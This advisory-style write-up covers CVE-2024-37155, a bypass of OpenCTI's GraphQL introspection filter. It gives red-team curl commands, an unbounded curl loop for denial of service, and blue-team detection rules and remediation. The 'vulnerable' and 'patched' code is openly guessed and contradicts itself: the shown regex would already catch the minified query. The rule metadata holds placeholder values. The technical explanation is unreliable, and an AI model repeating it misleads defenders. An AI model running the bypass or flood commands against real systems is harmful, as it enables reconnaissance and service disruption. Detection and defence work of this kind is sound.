CVE-2024-37155

Executive Summary

CVE-2024-37155 is a security advisory affecting OpenCTI, an open-source platform for managing cyber threat intelligence. The vulnerability resides in the secureIntrospectionPlugin, which is designed to restrict GraphQL Introspection queries to unauthenticated users. The plugin uses a regex-based validation to block these queries, but the regex can be bypassed by removing extra whitespace, carriage return (\r), and line feed (\n) characters from the query payload. This allows an unauthenticated attacker to execute a full GraphQL Introspection query, revealing the entire schema, queries, mutations, and subscriptions of the GraphQL endpoint. This information can be used to craft further attacks, such as unauthorized data access or Denial of Service (DoS) by repeatedly sending introspection queries. The vulnerability has a CVSS score of 6.5 (Medium) and is currently unpatched in versions prior to 6.1.9.

Supply Chain & Package Security

OpenCTI is a Python-based application distributed via Docker images and PyPI. The vulnerability is in the application's own code, not in a third-party package. However, organizations using OpenCTI should verify the integrity of their deployment and ensure they are using the official images from the OpenCTI project.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) - Schema information disclosure
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L) - Potential DoS via repeated queries

The threat level is Medium due to the low complexity and no authentication requirement, but the impact is limited to information disclosure and potential DoS.

Deep Dive & Mechanics

The vulnerability is in the secureIntrospectionPlugin of OpenCTI. This plugin is intended to block GraphQL Introspection queries from unauthenticated users. It uses a regex pattern to detect and reject such queries. The regex likely looks for the string __schema or similar introspection keywords. However, the regex does not account for variations in whitespace, carriage return (\r), and line feed (\n) characters.

An attacker can bypass the regex by removing these characters from the query. For example, a normal introspection query might look like:

query {
  __schema {
    types {
      name
    }
  }
}

The attacker can send the query without whitespace and newlines:

query{__schema{types{name}}}

This bypasses the regex check, allowing the attacker to retrieve the full GraphQL schema. The schema reveals all available queries, mutations, and subscriptions, which can be used to identify other endpoints and potential vulnerabilities.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 6.1.9):

The secureIntrospectionPlugin likely uses a regex like:

import re

def secure_introspection_plugin(query):
    if re.search(r'__schema', query, re.IGNORECASE):
        raise Exception("Introspection queries are not allowed")

This regex fails if the query is minified (no whitespace, no newlines).

Patched Code (version 6.1.9):

The patched version normalizes the query before applying the regex, removing all whitespace, carriage returns, and line feeds:

import re

def secure_introspection_plugin(query):
    # Normalize the query by removing whitespace, \r, \n
    normalized_query = re.sub(r'\s+', '', query)
    if re.search(r'__schema', normalized_query, re.IGNORECASE):
        raise Exception("Introspection queries are not allowed")

This ensures that even minified queries are detected and blocked.

Exploitation & Lab Setup

Red Team

To exploit CVE-2024-37155, an attacker can use curl to send a minified introspection query to an OpenCTI instance.

Step 1: Identify the GraphQL endpoint. Typically, it is at /graphql.

Step 2: Send a normal introspection query to confirm the block:

curl -X POST http://target:8080/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "query { __schema { types { name } } }"}'

This should return an error like "Introspection queries are not allowed".

Step 3: Send the minified query to bypass the regex:

curl -X POST http://target:8080/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "query{__schema{types{name}}}"}'

This should return the schema data.

Step 4: For DoS, repeatedly send the minified query in a loop:

while true; do
  curl -X POST http://target:8080/graphql \
    -H "Content-Type: application/json" \
    -d '{"query": "query{__schema{types{name}}}"}' &
done

Blue Team

To detect exploitation attempts, monitor for GraphQL queries that contain __schema but lack typical whitespace patterns. Also, monitor for high volumes of requests to the /graphql endpoint from a single IP.

Detection via WAF: Create a rule to block any GraphQL query containing __schema regardless of whitespace.

Detection via Logs: Look for GraphQL queries that match the pattern query{__schema or mutation{__schema.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /graphql with body containing __schema and minimal whitespace.
  • High frequency of requests to /graphql from a single IP (potential DoS).
• Log IOCs:
  • GraphQL error logs showing "Introspection queries are not allowed" followed by successful introspection queries.
  • Access logs showing repeated POST /graphql with unusual query patterns.
• File IOCs:
  • No file-based IOCs as this is a network-based vulnerability.

Detection Engineering

YARA Rule

rule CVE_2024_37155_OpenCTI_Introspection_Bypass {
    meta:
        description = "Detects GraphQL introspection queries that bypass regex validation by removing whitespace"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-37155"
    strings:
        $introspection = /query\{__schema/ nocase
        $introspection2 = /mutation\{__schema/ nocase
        $introspection3 = /subscription\{__schema/ nocase
    condition:
        any of them
}

Sigma Rule

title: OpenCTI GraphQL Introspection Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to bypass the OpenCTI introspection plugin by removing whitespace from GraphQL queries.
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37155
logsource:
    category: webserver
    product: opencti
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/graphql'
        cs-body|contains: '__schema'
        cs-body|re: 'query\{__schema'
    condition: selection
falsepositives:
    - Legitimate introspection queries from authorized users (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37155 OpenCTI GraphQL Introspection Bypass"; flow:to_server; content:"POST"; http_method; content:"/graphql"; http_uri; content:"__schema"; http_client_body; pcre:"/query\{__schema/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade OpenCTI to version 6.1.9 or later.
2. Workaround: If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block any GraphQL query containing __schema regardless of whitespace.
3. Network Segmentation: Restrict access to the OpenCTI GraphQL endpoint to trusted IPs only.
4. Monitoring: Enable logging for all GraphQL queries and monitor for suspicious patterns.
5. Rate Limiting: Implement rate limiting on the /graphql endpoint to mitigate DoS attacks.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert